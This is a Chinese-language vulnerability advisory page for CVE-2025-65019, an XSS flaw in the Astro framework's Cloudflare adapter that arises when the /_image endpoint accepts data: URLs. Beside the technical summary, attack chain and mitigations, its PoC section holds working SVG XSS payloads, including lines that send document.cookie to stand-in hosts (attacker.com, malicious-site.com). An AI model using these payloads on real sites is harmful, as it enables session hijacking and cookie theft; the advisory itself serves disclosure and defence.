IPBUF安全漏洞报告
English
CVE-2025-65019 CVSS 5.4 中危

CVE-2025-65019 Astro框架Cloudflare适配器XSS漏洞

披露日期: 2025-11-19

漏洞信息

漏洞编号
CVE-2025-65019
漏洞类型
XSS跨站脚本攻击
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Astro web framework (@astrojs/cloudflare)

相关标签

XSS跨站脚本攻击Astro框架Cloudflare适配器CVE-2025-65019SVG注入data协议绕过Web安全漏洞内容安全策略绕过SSR安全图片优化漏洞

漏洞概述

CVE-2025-65019是Astro框架中的一个中等严重性跨站脚本(XSS)漏洞。该漏洞存在于Astro的Cloudflare适配器(@astrojs/cloudflare)中,当使用output: 'server'模式时,图片优化端点(/_image)存在严重的安全缺陷。具体问题在于isRemoteAllowed()函数无条件地允许data:协议URL,这使得攻击者可以通过构造恶意的SVG负载绕过域限制和内容安全策略(CSP)保护,从而执行任意JavaScript代码。此漏洞影响所有使用Astro框架并部署在Cloudflare环境中的Web应用程序,可能导致用户会话劫持、敏感数据窃取、钓鱼攻击等安全问题。由于该漏洞需要用户交互才能触发,攻击场景通常涉及诱骗用户访问特制页面。该漏洞已在Astro 5.15.9版本中得到修复,建议所有受影响用户立即升级。

技术细节

该漏洞的核心问题在于Astro框架的Cloudflare适配器中图片优化端点的输入验证机制存在缺陷。当在Cloudflare环境中使用Astro的服务器端渲染(SSR)模式时,/_image端点负责处理图片优化请求。isRemoteAllowed()函数本应限制只能加载特定白名单域的图片资源,但由于实现错误,该函数无条件地允许了data:协议URL。data:协议允许将小数据块直接嵌入到URL中,攻击者可以利用这一特性将恶意SVG内容编码为data:URL。SVG格式支持<script>标签和事件处理器(如onload),当浏览器解析包含恶意脚本的SVG文件时,会执行其中的JavaScript代码。由于Astro的SSR模式在服务端处理图片优化请求,攻击者可以通过向/_image端点发送包含恶意data:URL的请求来触发服务端或客户端的脚本执行。攻击者可以构造形如data:image/svg+xml,<svg xmlns='http://www.w3.org/2000/svg'><script>alert(document.cookie)</script></svg>的payload,通过img标签的src属性引用该URL,从而在用户访问时执行XSS攻击。

攻击链分析

STEP 1
步骤1
攻击者识别目标网站使用Astro框架并配置了Cloudflare适配器(检测/_image端点)
STEP 2
步骤2
攻击者构造包含恶意SVG payload的data:URL,利用isRemoteAllowed()函数的验证缺陷
STEP 3
步骤3
攻击者通过img标签的src属性或直接请求/_image端点注入恶意payload,构造形如/_image?href=data:image/svg+xml,<svg>...</svg>的请求
STEP 4
步骤4
受害者在不知情的情况下访问包含恶意img标签的页面,浏览器请求/_image端点
STEP 5
步骤5
Astro服务端处理请求,isRemoteAllowed()函数错误地允许data:协议,返回恶意SVG内容
STEP 6
步骤6
浏览器解析SVG响应,执行其中的JavaScript代码(如窃取Cookie、发送敏感数据到攻击者服务器)
STEP 7
步骤7
攻击者获取受害者的认证凭证或会话信息,实现账户劫持或其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- PoC for CVE-2025-65019: Astro XSS via data: protocol in Cloudflare adapter --> <!-- Attack scenario: Inject malicious SVG via _/_image endpoint --> <!-- Method 1: Direct data: URL injection --> <img src="/_image?href=data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E%3C/svg%3E&w=100&h=100" /> <!-- Method 2: Bypass CSP using data: protocol --> <!-- When CSP allows img-src 'self' but not 'unsafe-inline' --> <img src="/_image?href=data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20onload='fetch(%22https://attacker.com/steal?c=%22%2Bdocument.cookie)'/%3E" /> <!-- Method 3: Cookie stealing payload --> <!-- Exploit SVG with external script execution --> <svg xmlns="http://www.w3.org/2000/svg"> <script type="text/javascript"> var cookies = document.cookie; var img = new Image(); img.src = "https://malicious-site.com/log?data=" + encodeURIComponent(cookies); </script> </svg> <!-- Encoded version for URL parameter --> <!-- data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjxzY3JpcHQ+dHlwZT0idGV4dC9qYXZhc2NyaXB0Ij5hbGVydChkb2N1bWVudC5jb29raWUpPC9zY3JpcHQ+PC9zdmc+ -->

影响范围

Astro < 5.15.9
@astrojs/cloudflare (所有版本,当使用output: 'server'模式时受影响)

防御指南

临时缓解措施
在完成官方补丁升级之前,可以采取以下临时缓解措施:1) 在Cloudflare WAF中创建自定义规则,阻止所有包含'data:'协议的请求到/_image端点;2) 临时将output模式从'server'切换到'static'或'hybrid'以绕过受影响的代码路径;3) 实施严格的输入验证,限制图片优化端点只接受来自可信域名的请求;4) 启用Cloudflare的Bot Management功能以减少自动化攻击风险;5) 监控应用日志,查找异常的/_image端点请求模式;6) 考虑临时限制Cloudflare适配器的使用,等待官方发布稳定补丁后再恢复生产使用。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表